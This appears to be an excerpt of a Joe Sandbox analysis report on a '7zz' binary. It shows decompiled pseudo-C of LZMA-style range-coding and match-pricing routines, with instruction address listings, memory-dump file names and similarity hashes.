									__eflags =  *(_t624 + 0x3194c) - 7;
									if( *(_t624 + 0x3194c) >= 7) {
										__eflags = _t398 -  *(_t624 + 0x3193c);
										L0045FAB0( *(_t625 + 0x2c) & 0x000000ff, _t459, _t537,  *(_t398 -  *(_t624 + 0x3193c) - 1) & 0x000000ff);
									} else {
										L0045FA30( *(_t625 + 0x28) & 0x000000ff, _t459, _t537);
									}
									 *(_t624 + 0x3194c) =  *(0x47c5dc +  *(_t624 + 0x3194c) * 4);
								}
								L69:
								_t452 =  *(_t625 + 0x18);
								 *(_t624 + 0x31938) =  *(_t624 + 0x31938) - _t452;
								_t324 =  *(_t624 + 0x31938);
								 *(_t625 + 0x14) =  *(_t625 + 0x14) + _t452;
								__eflags = _t324;
								if(_t324 != 0) {
									L18:
									_t589 =  *(_t625 + 0x14);
									continue;
								}
								__eflags =  *(_t624 + 0x3bca8) - _t324;
								if( *(_t624 + 0x3bca8) == _t324) {
									__eflags =  *(_t624 + 0x3bcf8) - 0x80;
									if( *(_t624 + 0x3bcf8) >= 0x80) {
										E00461BC0(_t624);
									}
									__eflags =  *(_t624 + 0x32590) - 0x10;
									if( *(_t624 + 0x32590) >= 0x10) {
										E00461B30(_t624);
									}
								}
								_t539 =  *(_t624 + 8);
								_t327 =  *_t539();
								__eflags = _t327;
								if(_t327 == 0) {
									L81:
									_t589 =  *(_t625 + 0x14);
									goto L82;
								}
								_t329 =  *(_t625 + 0x14) -  *((intOrPtr*)(_t625 + 0x1c));
								__eflags =  *(_t625 + 0x2c);
								if( *(_t625 + 0x2c) != 0) {
									__eflags = _t329 + 0x112c -  *((intOrPtr*)(_t625 + 0x34));
									if(_t329 + 0x112c >=  *((intOrPtr*)(_t625 + 0x34))) {
										goto L81;
									}
									asm("cdq");
									asm("adc edx, [ebp+0x3bcdc]");
									asm("adc edx, [ebp+0x3bcc4]");
									_t338 =  *((intOrPtr*)(_t624 + 0x3bcc8)) -  *((intOrPtr*)(_t624 + 0x3bcd0)) +  *((intOrPtr*)(_t624 + 0x3bcd8)) +  *((intOrPtr*)(_t624 + 0x3bcc0)) + 0x2000;
									asm("adc edx, 0x0");
									__eflags = _t539;
									if(__eflags > 0) {
										goto L81;
									}
									if(__eflags < 0) {
										goto L18;
									} else {
										__eflags = _t338 -  *((intOrPtr*)(_t625 + 0x30));
										if(_t338 <  *((intOrPtr*)(_t625 + 0x30))) {
											goto L18;
										} else {
											goto L81;
										}
									}
									L85:
									_t292 = _t624 + 0x3bcf0;
									 *_t292 =  *(_t624 + 0x3bcf0) +  *(_t625 + 0x14) -  *((intOrPtr*)(_t625 + 0x1c));
									__eflags =  *_t292;
									asm("adc dword [ebp+0x3bcf4], 0x0");
									return E00461A30(_t624);
									goto L86;
								}
								__eflags = _t329 - 0x8000;
								if(_t329 < 0x8000) {
									goto L18;
								}
								goto L85;
								L30:
								_t508 =  *(_t624 + 0x3bcb0);
								_t604 = _t624 + 0x325b0 + (( *(_t624 + 0x3194c) << 4) + _t425) * 2;
								_t304 =  *_t604 & 0x0000ffff;
								_t438 = (_t508 >> 0xb) * _t304;
								 *((intOrPtr*)(_t624 + 0x3bcb8)) =  *((intOrPtr*)(_t624 + 0x3bcb8)) + _t438;
								asm("adc dword [ebp+0x3bcbc], 0x0");
								 *(_t624 + 0x3bcb0) = _t508 - _t438;
								 *_t604 = _t304 - (_t304 >> 5);
								_t306 =  *(_t624 + 0x3bcb0);
								__eflags = _t306 - 0x1000000;
								if(_t306 < 0x1000000) {
									_t392 = _t306 << 8;
									__eflags = _t392;
									 *(_t624 + 0x3bcb0) = _t392;
									L0045F780(_t624 + 0x3bcb0);
								}
								__eflags =  *(_t625 + 0x10) - 4;
								_t510 =  *(_t624 + 0x3194c);
								if( *(_t625 + 0x10) >= 4) {
									_t307 =  *(_t624 + 0x32730 + _t510 * 2) & 0x0000ffff;
									 *(_t624 + 0x3bcb0) = ( *(_t624 + 0x3bcb0) >> 0xb) * _t307;
									 *(_t624 + 0x32730 + _t510 * 2) = (0x800 - _t307 >> 5) + _t307;
									_t308 =  *(_t624 + 0x3bcb0);
									__eflags = _t308 - 0x1000000;
									if(_t308 < 0x1000000) {
										_t351 = _t308 << 8;
										__eflags = _t351;
										 *(_t624 + 0x3bcb0) = _t351;
										L0045F780(_t624 + 0x3bcb0);
									}
									__eflags =  *(_t624 + 0x3bca8);
									 *(_t624 + 0x3194c) =  *(0x47c60c +  *(_t624 + 0x3194c) * 4);
									 *(_t625 + 0x24) = 0 |  *(_t624 + 0x3bca8) == 0x00000000;
									L0045FD50(_t425, _t624 + 0x3bcb0, _t624 + 0x32c14,  *(_t625 + 0x18) + 0xfffffffe);
									__eflags =  *(_t625 + 0x20);
									if( *(_t625 + 0x20) != 0) {
										_t218 = _t624 + 0x3741c + _t425 * 4;
										 *_t218 =  *(_t624 + 0x3741c + _t425 * 4) - 1;
										__eflags =  *_t218;
										if( *_t218 == 0) {
											__eflags = _t425 * 0x440;
											L0045FE90(_t624 + 0x32c14, _t624 + 0x30ea0, _t425,  *((intOrPtr*)(_t624 + 0x37418)), _t425 * 0x440 + _t624 + 0x33018);
											 *((intOrPtr*)(_t624 + 0x3741c +  *(_t625 + 0x28) * 4)) =  *((intOrPtr*)(_t624 + 0x37418));
										}
									}
									_t315 =  *(_t625 + 0x10) - 4;
									 *(_t625 + 0x10) = _t315;
									__eflags = _t315 - 0x80;
									if(_t315 >= 0x80) {
										_t449 = ( ~(0x1ffff - _t315 >> 0x1f) & 0x0000000a) + 6;
										_t316 = _t315 >> _t449;
										__eflags = _t316;
										_t605 = ( *(_t316 + _t624 + 0x306a0) & 0x000000ff) + _t449 * 2;
									} else {
										_t605 =  *(_t315 + _t624 + 0x306a0) & 0x000000ff;
									}
									_t317 =  *(_t625 + 0x18);
									__eflags = _t317 - 5;
									if(_t317 >= 5) {
										_t318 = 3;
									} else {
										_t318 = _t317 + 0xfffffffe;
									}
									_push(_t605);
									_push(6);
									_push((_t318 << 7) + _t624 + 0x32910);
									L0045FC40(_t624 + 0x3bcb0);
									__eflags = _t605 - 4;
									if(_t605 >= 4) {
										_t343 = (_t605 >> 1) - 1;
										_t544 = (_t605 & 0x00000001 | 0x00000002) << (_t605 >> 1) - 1;
										_t428 =  *(_t625 + 0x10) - ((_t605 & 0x00000001 | 0x00000002) << (_t605 >> 1) - 1);
										__eflags = _t605 - 0xe;
										if(_t605 >= 0xe) {
											L0045F8F0(_t624 + 0x3bcb0, _t428 >> 4, _t343 + 0xfffffffc);
											L0045FCC0(4, _t624 + 0x3bcb0, _t624 + 0x32bf4, _t428 & 0x0000000f);
											_t254 = _t624 + 0x32590;
											 *_t254 =  *(_t624 + 0x32590) + 1;
											__eflags =  *_t254;
										} else {
											L0045FCC0(_t343, _t624 + 0x3bcb0, _t624 + 0x32b0e + (_t544 - _t605) * 2, _t428);
										}
									}
									_t259 = _t624 + 0x3bcf8;
									 *_t259 =  *(_t624 + 0x3bcf8) + 1;
									__eflags =  *_t259;
									 *(_t624 + 0x31948) =  *(_t624 + 0x31944);
									 *(_t624 + 0x31944) =  *(_t624 + 0x31940);
									 *(_t624 + 0x31940) =  *(_t624 + 0x3193c);
									 *(_t624 + 0x3193c) =  *(_t625 + 0x10);
								} else {
									_t353 =  *(_t624 + 0x32730 + _t510 * 2) & 0x0000ffff;
									_t550 =  *(_t624 + 0x3bcb0);
									_t474 = (_t550 >> 0xb) * _t353;
									 *((intOrPtr*)(_t624 + 0x3bcb8)) =  *((intOrPtr*)(_t624 + 0x3bcb8)) + _t474;
									asm("adc dword [ebp+0x3bcbc], 0x0");
									 *(_t624 + 0x3bcb0) = _t550 - _t474;
									 *(_t624 + 0x32730 + _t510 * 2) = _t353 - (_t353 >> 5);
									_t355 =  *(_t624 + 0x3bcb0);
									__eflags = _t355 - 0x1000000;
									if(_t355 < 0x1000000) {
										_t390 = _t355 << 8;
										__eflags = _t390;
										 *(_t624 + 0x3bcb0) = _t390;
										L0045F780(_t624 + 0x3bcb0);
									}
									_t356 =  *(_t625 + 0x10);
									__eflags = _t356;
									if(_t356 != 0) {
										_t612 = _t624 + 0x32748 +  *(_t624 + 0x3194c) * 2;
										_t358 =  *_t612 & 0x0000ffff;
										 *(_t625 + 0x20) =  *(_t624 + 0x3193c + _t356 * 4);
										_t553 =  *(_t624 + 0x3bcb0);
										_t479 = (_t553 >> 0xb) * _t358;
										 *((intOrPtr*)(_t624 + 0x3bcb8)) =  *((intOrPtr*)(_t624 + 0x3bcb8)) + _t479;
										asm("adc dword [ebp+0x3bcbc], 0x0");
										 *(_t624 + 0x3bcb0) = _t553 - _t479;
										 *_t612 = _t358 - (_t358 >> 5);
										_t360 =  *(_t624 + 0x3bcb0);
										__eflags = _t360 - 0x1000000;
										if(_t360 < 0x1000000) {
											_t380 = _t360 << 8;
											__eflags = _t380;
											 *(_t624 + 0x3bcb0) = _t380;
											L0045F780(_t624 + 0x3bcb0);
										}
										__eflags =  *(_t625 + 0x10) - 1;
										if( *(_t625 + 0x10) != 1) {
											_t555 =  *(_t624 + 0x3bcb0);
											_t613 = _t624 + 0x32760 +  *(_t624 + 0x3194c) * 2;
											_t362 =  *_t613 & 0x0000ffff;
											_t484 = (_t555 >> 0xb) * _t362;
											 *((intOrPtr*)(_t624 + 0x3bcb8)) =  *((intOrPtr*)(_t624 + 0x3bcb8)) + _t484;
											asm("adc dword [ebp+0x3bcbc], 0x0");
											 *(_t624 + 0x3bcb0) = _t555 - _t484;
											 *_t613 = _t362 - (_t362 >> 5);
											_t364 =  *(_t624 + 0x3bcb0);
											__eflags = _t364 - 0x1000000;
											if(_t364 < 0x1000000) {
												_t374 = _t364 << 8;
												__eflags = _t374;
												 *(_t624 + 0x3bcb0) = _t374;
												L0045F780(_t624 + 0x3bcb0);
											}
											L0045F9D0(_t624 + 0x3bcb0, _t624 + 0x32778 +  *(_t624 + 0x3194c) * 2,  *(_t625 + 0x10) + 0xfffffffe);
											__eflags =  *(_t625 + 0x10) - 3;
											if( *(_t625 + 0x10) == 3) {
												 *(_t624 + 0x31948) =  *(_t624 + 0x31944);
											}
											_t425 =  *(_t625 + 0x28);
											 *(_t624 + 0x31944) =  *(_t624 + 0x31940);
										} else {
											_t562 =  *(_t624 + 0x3194c);
											_t376 =  *(_t624 + 0x32760 + _t562 * 2) & 0x0000ffff;
											 *(_t624 + 0x3bcb0) = ( *(_t624 + 0x3bcb0) >> 0xb) * _t376;
											 *(_t624 + 0x32760 + _t562 * 2) = (0x800 - _t376 >> 5) + _t376;
											_t377 =  *(_t624 + 0x3bcb0);
											__eflags = _t377 - 0x1000000;
											if(_t377 < 0x1000000) {
												 *(_t624 + 0x3bcb0) = _t377 << 8;
												L0045F780(_t624 + 0x3bcb0);
											}
										}
										 *(_t624 + 0x31940) =  *(_t624 + 0x3193c);
										 *(_t624 + 0x3193c) =  *(_t625 + 0x20);
									} else {
										_t570 =  *(_t624 + 0x3194c);
										_t382 =  *(_t624 + 0x32748 + _t570 * 2) & 0x0000ffff;
										 *(_t624 + 0x3bcb0) = ( *(_t624 + 0x3bcb0) >> 0xb) * _t382;
										 *(_t624 + 0x32748 + _t570 * 2) = (0x800 - _t382 >> 5) + _t382;
										_t383 =  *(_t624 + 0x3bcb0);
										__eflags = _t383 - 0x1000000;
										if(_t383 < 0x1000000) {
											_t388 = _t383 << 8;
											__eflags = _t388;
											 *(_t624 + 0x3bcb0) = _t388;
											L0045F780(_t624 + 0x3bcb0);
										}
										__eflags =  *(_t625 + 0x18) - 1;
										L0045F9D0(_t624 + 0x3bcb0, _t624 + 0x32790 + (( *(_t624 + 0x3194c) << 4) + _t425) * 2, 0 |  *(_t625 + 0x18) != 0x00000001);
										_t425 =  *(_t625 + 0x28);
									}
									__eflags =  *(_t625 + 0x18) - 1;
									if( *(_t625 + 0x18) != 1) {
										__eflags =  *(_t624 + 0x3bca8);
										_push(0 | __eflags == 0x00000000);
										E00460070( *(_t625 + 0x18) + 0xfffffffe, _t624 + 0x3bcb0, _t425, _t624 + 0x30ea0, __eflags, _t624 + 0x3745c);
										 *(_t624 + 0x3194c) =  *(0x47c63c +  *(_t624 + 0x3194c) * 4);
									} else {
										 *(_t624 + 0x3194c) =  *(0x47c66c +  *(_t624 + 0x3194c) * 4);
									}
								}
								goto L69;
							}
						} else {
							_t407 =  *( *(_t624 + 8))();
							__eflags = _t407;
							if(_t407 != 0) {
								E004600C0(_t624, _t625 + 0x24);
								_t500 =  *(_t624 + 0x3194c) << 5;
								_t410 =  *(_t500 + _t624 + 0x325b0) & 0x0000ffff;
								_t622 = _t624 + 0x3bcb0;
								 *_t622 = ( *(_t624 + 0x3bcb0) >> 0xb) * _t410;
								 *(_t500 + _t624 + 0x325b0) = (0x800 - _t410 >> 5) + _t410;
								_t411 =  *_t622;
								__eflags = _t411 - 0x1000000;
								if(_t411 < 0x1000000) {
									_t417 = _t411 << 8;
									__eflags = _t417;
									 *_t622 = _t417;
									L0045F780(_t622);
								}
								 *(_t624 + 0x3194c) =  *(0x47c5dc +  *(_t624 + 0x3194c) * 4);
								L0045FA30( *((intOrPtr*)( *((intOrPtr*)(_t624 + 4))))() & 0x000000ff, _t622,  *((intOrPtr*)(_t624 + 0x325ac)));
								 *(_t624 + 0x31938) =  *(_t624 + 0x31938) - 1;
								_t589 = _t589 + 1;
								__eflags = _t589;
								 *(_t625 + 0x10) = _t589;
								goto L16;
							} else {
								return E00461A80(_t624, _t589);
							}
						}
					} else {
						 *((intOrPtr*)(_t624 + 0x3bcfc)) = 1;
						return _t295;
					}
				}
				L86:
			}

0x00461ef4
0x00461eff
0x00461f07
0x00461f09
0x00461f09
0x00461f1a
0x00461f20
0x0046278e
0x00461f2e
0x00461f34
0x00461f36
0x00461f36
0x00461f47
0x00461f49
0x00461f49
0x00461f53
0x00461f5b
0x00461f70
0x00461f78
0x00461f7e
0x00461f82
0x00461f86
0x00462042
0x00462049
0x0046204b
0x0046204d
0x0046276c
0x00462773
0x00462773
0x00462773
0x0046277b
0x00000000
0x00462789
0x00462064
0x00462064
0x0046206b
0x0046207f
0x00462080
0x00462081
0x00462082
0x0046206d
0x00462071
0x00462074
0x00462074
0x0046208d
0x00462091
0x00462095
0x00462099
0x0046209c
0x00000000
0x00000000
0x004620a2
0x004620a7
0x00000000
0x004620ad
0x004620b6
0x004620b8
0x004620cd
0x004620d9
0x004620e7
0x004620ea
0x004620ec
0x004620f1
0x004620f3
0x004620f3
0x004620f6
0x004620f8
0x004620f8
0x00462105
0x00462121
0x00462132
0x0046213c
0x00462142
0x00462149
0x00462158
0x00462169
0x0046214b
0x00462151
0x00462151
0x0046217b
0x0046217b
0x004626b8
0x004626b8
0x004626bc
0x004626c2
0x004626c8
0x004626cc
0x004626ce
0x00462060
0x00462060
0x00000000
0x00462060
0x004626d4
0x004626da
0x004626dc
0x004626e6
0x004626ea
0x004626ea
0x004626ef
0x004626f6
0x004626fa
0x004626fa
0x004626f6
0x00462702
0x00462705
0x00462707
0x00462709
0x00462768
0x00462768
0x00000000
0x00462768
0x0046270f
0x00462713
0x00462718
0x0046271f
0x00462723
0x00000000
0x00000000
0x00462731
0x00462738
0x00462744
0x0046274a
0x0046274f
0x00462754
0x00462756
0x00000000
0x00000000
0x00462758
0x00000000
0x0046275e
0x0046275e
0x00462762
0x00000000
0x00000000
0x00000000
0x00000000
0x00462762
0x0046279c
0x004627a6
0x004627a6
0x004627a6
0x004627ac
0x004627bf
0x00000000
0x004627bf
0x00462791
0x00462796
0x00000000
0x00000000
0x00000000
0x00462186
0x0046218c
0x00462197
0x0046219e
0x004621a6
0x004621a9
0x004621af
0x004621bf
0x004621c5
0x004621c8
0x004621ce
0x004621d3
0x004621d5
0x004621d5
0x004621de
0x004621e4
0x004621e4
0x004621e9
0x004621ee
0x004621f4
0x004624d6
0x004624f1
0x00462503
0x00462506
0x0046250c
0x00462511
0x00462513
0x00462513
0x0046251c
0x00462522
0x00462522
0x0046253a
0x00462540
0x00462555
0x0046255f
0x00462564
0x00462569
0x0046256b
0x0046256b
0x0046256b
0x00462572
0x00462576
0x00462598
0x004625a7
0x004625a7
0x00462572
0x004625b2
0x004625b5
0x004625b9
0x004625be
0x004625d9
0x004625dc
0x004625dc
0x004625e6
0x004625c0
0x004625c0
0x004625c0
0x004625e9
0x004625ed
0x004625f0
0x004625f7
0x004625f2
0x004625f2
0x004625f2
0x004625fc
0x00462607
0x00462609
0x00462610
0x00462615
0x00462618
0x00462627
0x0046262d
0x0046262f
0x00462631
0x00462634
0x0046265e
0x00462679
0x0046267e
0x0046267e
0x0046267e
0x00462636
0x00462647
0x00462647
0x00462634
0x00462696
0x00462696
0x00462696
0x0046269c
0x004626a6
0x004626ac
0x004626b2
0x004621fa
0x004621fa
0x00462209
0x00462214
0x00462217
0x0046221d
0x0046222d
0x00462233
0x00462236
0x0046223c
0x00462241
0x00462243
0x00462243
0x0046224c
0x00462252
0x00462252
0x00462257
0x0046225b
0x0046225d
0x004622f8
0x004622ff
0x00462302
0x00462306
0x00462311
0x00462314
0x0046231a
0x0046232a
0x00462330
0x00462333
0x00462339
0x0046233e
0x00462340
0x00462340
0x00462349
0x0046234f
0x0046234f
0x00462354
0x00462359
0x004623c1
0x004623c7
0x004623ce
0x004623d6
0x004623d9
0x004623df
0x004623ef
0x004623f5
0x004623f8
0x004623fe
0x00462403
0x00462405
0x00462405
0x0046240e
0x00462414
0x00462414
0x00462434
0x00462439
0x0046243e
0x00462446
0x00462446
0x00462452
0x00462456
0x0046235b
0x0046235b
0x00462361
0x0046237c
0x0046238e
0x00462391
0x00462397
0x0046239c
0x004623ab
0x004623b1
0x004623b1
0x0046239c
0x00462466
0x0046246c
0x00462263
0x00462263
0x00462269
0x00462284
0x00462296
0x00462299
0x0046229f
0x004622a4
0x004622a6
0x004622a6
0x004622af
0x004622b5
0x004622b5
0x004622c2
0x004622dd
0x004622e2
0x004622e2
0x00462472
0x00462477
0x00462497
0x004624b1
0x004624b9
0x004624cb
0x00462479
0x00462486
0x00462486
0x00462477
0x00000000
0x004621f4
0x00461f8c
0x00461f92
0x00461f94
0x00461f96
0x00461fb0
0x00461fc1
0x00461fc4
0x00461fcc
0x00461fdf
0x00461fed
0x00461ff0
0x00461ff2
0x00461ff7
0x00461ff9
0x00461ff9
0x00461ffc
0x00461ffe
0x00461ffe
0x00462019
0x00462032
0x00462037
0x0046203d
0x0046203d
0x0046203e
0x00000000
0x00461f98
0x00461fa6
0x00461fa6
0x00461f96
0x00461f5d
0x00461f5d
0x00461f6b
0x00461f6b
0x00461f5b
0x00000000

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4105cb9875b833a4641f56c3298e018c9a015dc758ede18aa80ab4fa4bcddc2
Instruction ID: 111ae33a3b18cc3aeac857ece66931766c3972f92f30f96c0da3dc925ecae691
Opcode Fuzzy Hash: d4105cb9875b833a4641f56c3298e018c9a015dc758ede18aa80ab4fa4bcddc2
Instruction Fuzzy Hash: D532C0716142898FCB36CF29CD916DD37AAFFA8308F10452AED498B394EF349A45CB45

Uniqueness

Uniqueness Score: -1.00%

Function 00460DF8 Relevance: .5, Instructions: 487
COMMONCrypto

Download Yara Rule

C-Code - Quality: 98%

			E00460DF8() {
				signed int _t647;
				signed int _t650;
				void* _t659;
				signed int _t662;
				signed int _t663;
				unsigned int _t672;
				signed int _t673;
				intOrPtr _t678;
				signed int _t681;
				signed int _t683;
				void* _t686;
				signed int _t688;
				signed int _t689;
				void* _t694;
				signed int _t695;
				signed int _t697;
				signed int _t699;
				signed int _t702;
				signed int _t704;
				void* _t706;
				signed int _t711;
				intOrPtr _t719;
				signed int _t725;
				signed int _t727;
				void* _t728;
				signed int _t733;
				void* _t734;
				intOrPtr _t735;
				signed int _t737;
				void* _t740;
				signed int _t746;
				intOrPtr _t754;
				signed int _t760;
				signed int _t762;
				void* _t765;
				intOrPtr* _t766;
				signed int _t767;
				signed int _t769;
				intOrPtr _t773;
				intOrPtr* _t775;
				signed int _t780;
				void* _t784;
				signed int _t791;
				void* _t792;
				signed int _t793;
				signed int _t795;
				signed int _t799;
				signed int _t801;
				signed int _t802;
				signed int _t804;
				signed int _t810;
				void* _t811;
				signed int _t815;
				void* _t822;
				signed int _t828;
				signed int _t829;
				signed int _t851;
				signed int _t852;
				signed int _t853;
				intOrPtr* _t854;
				signed int _t858;
				signed int _t874;
				void* _t882;
				signed int _t896;
				signed int _t898;
				signed int _t902;
				intOrPtr* _t903;
				signed int _t908;
				void* _t910;
				signed int _t913;
				signed int* _t917;
				signed int _t919;
				intOrPtr _t920;
				signed int _t935;
				signed int _t939;
				intOrPtr* _t940;
				intOrPtr* _t943;
				void* _t944;
				void* _t945;
				signed int _t948;
				signed int _t952;
				intOrPtr* _t953;
				signed int _t966;
				signed int _t970;
				signed int _t971;
				void* _t972;
				signed int _t977;
				signed int _t982;
				signed int _t986;
				signed int _t988;
				void* _t992;
				signed int _t993;
				signed int _t995;
				signed int _t1012;
				void* _t1018;
				signed int _t1019;
				intOrPtr _t1023;
				signed int _t1024;
				signed int _t1027;
				intOrPtr _t1029;
				signed int _t1030;
				signed int _t1037;
				signed int _t1041;
				void* _t1047;
				void* _t1061;
				intOrPtr _t1064;
				intOrPtr _t1071;
				intOrPtr* _t1072;
				void* _t1077;
				intOrPtr _t1079;
				signed int _t1080;
				signed int _t1087;
				signed int _t1096;
				intOrPtr* _t1099;
				signed int _t1101;
				signed int _t1106;
				void* _t1108;
				signed int _t1118;
				signed int _t1120;
				signed int _t1121;
				signed int _t1122;
				signed int _t1128;
				intOrPtr _t1129;
				signed int _t1131;
				signed int _t1136;
				void* _t1137;
				intOrPtr* _t1140;
				signed int _t1141;
				signed int _t1142;
				signed int _t1143;
				signed int _t1148;
				void* _t1151;
				void* _t1153;

				while(1) {
					L58:
					_t854 =  *((intOrPtr*)(_t1153 + 0x20));
					_t686 = _t854 -  *((intOrPtr*)(_t1153 + 0x5c +  *(_t1153 + 0x80) * 4)) - 1;
					 *(_t1153 + 0x28) = _t686;
					if( *_t854 !=  *_t686) {
						goto L86;
					}
					L59:
					_t1023 =  *((intOrPtr*)(_t1153 + 0x20));
					_t910 =  *(_t1153 + 0x28);
					if( *((intOrPtr*)(_t1023 + 1)) !=  *((intOrPtr*)(_t910 + 1))) {
						goto L86;
					}
					_t1141 =  *(_t1153 + 0x24);
					_t1087 = 2;
					if(_t1141 <= 2) {
						L64:
						_t1024 =  *(_t1153 + 0x18);
						_t801 = _t1087 +  *(_t1153 + 0x14);
						if(_t1024 >= _t801) {
							L67:
							_t1142 = _t1087;
							_t733 = E00460150( *(_t1153 + 0x80), _t1151,  *((intOrPtr*)(_t1153 + 0x20)),  *(_t1153 + 0x30)) +  *((intOrPtr*)(_t1153 + 0x48));
							_t913 =  *(_t1153 + 0x30) * 0x110;
							 *(_t1153 + 0x4c) = _t913;
							_t1027 = _t1151 + 0x37858 + (_t913 + _t1087) * 4;
							 *(_t1153 + 0x50) = _t733;
							 *(_t1153 + 0x2c) = _t1027;
							_t917 = _t1151 + 0x6bc + (_t801 + _t801 * 2 + _t801 + _t801 * 2) * 8;
							_t802 = _t1027;
							do {
								_t1029 =  *_t802 + _t733;
								if(_t1029 <  *((intOrPtr*)(_t917 - 0x1c))) {
									 *((intOrPtr*)(_t917 - 0x1c)) = _t1029;
									 *(_t917 - 4) =  *(_t1153 + 0x14);
									 *_t917 =  *(_t1153 + 0x80);
									 *(_t917 - 0x14) = 0;
								}
								_t1087 = _t1087 - 1;
								_t802 = _t802 - 4;
								_t917 = _t917 - 0x30;
							} while (_t1087 >= 2);
							if( *(_t1153 + 0x80) == 0) {
								_t315 = 1 + _t1142; // 0x4
								 *(_t1153 + 0x40) = _t315;
							}
							_t1030 =  *(_t1153 + 0x34);
							_t319 = 1 + _t1142; // 0x4
							_t734 = _t319;
							_t919 =  *(_t1151 + 0x31934) + _t734;
							 *(_t1153 + 0x2c) = _t919;
							if(_t919 > _t1030) {
								_t919 = _t1030;
								 *(_t1153 + 0x2c) = _t1030;
							}
							_t920 =  *((intOrPtr*)(_t1153 + 0x20));
							if(_t734 >= _t919) {
								L79:
								_t735 = _t734 + (_t1030 | 0xffffffff) - _t1142;
								 *((intOrPtr*)(_t1153 + 0x3c)) = _t735;
								if(_t735 < 2) {
									goto L86;
								}
								_t737 =  *(_t1153 + 0x84) + _t1142;
								 *(_t1153 + 0x2c) = _t737;
								 *(_t1153 + 0x44) = _t737 &  *(_t1151 + 0x325a4);
								_t740 = L0045FBE0( *( *(_t1153 + 0x28) + _t1142) & 0x000000ff,  *(_t1142 + _t920) & 0x000000ff, _t1151 + 0x30ea0, ((( *(_t1142 + _t920 - 1) & 0x000000ff) >> 8 -  *(_t1151 + 0x32598)) + ( *(_t1153 + 0x44) <<  *(_t1151 + 0x32598))) * 0x600 +  *((intOrPtr*)(_t1151 + 0x325ac)));
								_t1037 =  *(0x47c63c +  *(_t1153 + 0x1c) * 4);
								_t804 =  *(_t1151 + 0x325a8);
								_t1096 =  *(0x47c5dc + _t1037 * 4);
								_t360 = 1 +  *(_t1153 + 0x84); // 0x4
								_t935 = _t1142 + _t360 & _t804;
								_t1041 = (_t1096 << 4) + _t935;
								 *(_t1153 + 0x44) = _t1041;
								 *(_t1153 + 0x50) = ( *(_t1151 + 0x325b0 + _t1041 * 2) & 0x0000ffff ^ 0x000007f0) >> 4;
								_t1047 =  *((intOrPtr*)(_t1151 + 0x30ea0 + (( *(_t1151 + 0x32730 + _t1096 * 2) & 0x0000ffff ^ 0x000007f0) >> 4) * 4)) +  *((intOrPtr*)(_t1151 + 0x30ea0 +  *(_t1153 + 0x50) * 4)) + _t740 +  *((intOrPtr*)(_t1151 + 0x30ea0 + (( *(_t1151 + 0x325b0 + (( *(_t1153 + 0x2c) & _t804) + (_t1037 << 4)) * 2) & 0x0000ffff) >> 4) * 4)) +  *((intOrPtr*)(_t1151 + 0x37858 + ( *(_t1153 + 0x4c) + _t1142) * 4)) +  *(_t1153 + 0x50);
								_t810 =  *((intOrPtr*)(_t1153 + 0x3c)) + _t1142 + 1 +  *(_t1153 + 0x14);
								_t746 =  *(_t1153 + 0x18);
								 *(_t1153 + 0x4c) = _t810;
								if(_t746 >= _t810) {
									L84:
									_t939 = _t810 + _t810 * 2 + _t810 + _t810 * 2;
									_t754 =  *((intOrPtr*)(_t1151 + 0x30ea0 + (( *(_t1151 + 0x32790 +  *(_t1153 + 0x44) * 2) & 0x0000ffff ^ 0x000007f0) >> 4) * 4)) +  *((intOrPtr*)(_t1151 + 0x30ea0 + (( *(_t1151 + 0x32748 + _t1096 * 2) & 0x0000ffff) >> 4) * 4)) +  *((intOrPtr*)(_t1151 + 0x37858 + (_t935 * 0x110 +  *((intOrPtr*)(_t1153 + 0x3c))) * 4)) + _t1047;
									_t940 = _t1151 + 0x6a0 + _t939 * 8;
									if(_t754 <  *((intOrPtr*)(_t1151 + 0x6a0 + _t939 * 8))) {
										 *_t940 = _t754;
										_t420 = 1 +  *(_t1153 + 0x14); // 0x4
										 *((intOrPtr*)(_t940 + 0x18)) = _t1142 + _t420;
										 *(_t940 + 0x10) =  *(_t1153 + 0x14);
										 *(_t940 + 0x1c) = 0;
										 *(_t940 + 8) = 1;
										 *(_t940 + 0xc) = 1;
										 *(_t940 + 0x14) =  *(_t1153 + 0x80);
									}
									goto L86;
								}
								 *(_t1153 + 0x50) = _t1151 + 0x6a0 + (_t746 + _t746 * 2 + _t746 + _t746 * 2) * 8;
								_t760 =  *(_t1153 + 0x18);
								_t811 = _t810 - _t760;
								 *(_t1153 + 0x18) = _t760 + _t811;
								_t762 =  *(_t1153 + 0x50);
								do {
									_t762 = _t762 + 0x30;
									_t811 = _t811 - 1;
									 *_t762 = 0x40000000;
								} while (_t811 != 0);
								_t810 =  *(_t1153 + 0x4c);
								goto L84;
							} else {
								_t1099 = _t734 + _t920;
								_t1030 =  *(_t1153 + 0x28) - _t920;
								while( *_t1099 ==  *((intOrPtr*)(_t1099 + _t1030))) {
									_t734 = _t734 + 1;
									_t1099 = _t1099 + 1;
									if(_t734 <  *(_t1153 + 0x2c)) {
										continue;
									}
									goto L79;
								}
								goto L79;
							}
						}
						_t765 = _t801 - _t1024;
						_t943 = _t1151 + 0x6a0 + (_t1024 + _t1024 * 2 + _t1024 + _t1024 * 2) * 8;
						 *(_t1153 + 0x18) = _t1024 + _t765;
						do {
							_t943 = _t943 + 0x30;
							_t765 = _t765 - 1;
							 *_t943 = 0x40000000;
						} while (_t765 != 0);
						goto L67;
					}
					_t766 = _t1023 + 2;
					_t944 = _t910 - _t1023;
					while( *_t766 ==  *((intOrPtr*)(_t944 + _t766))) {
						_t1087 = 1 + _t1087;
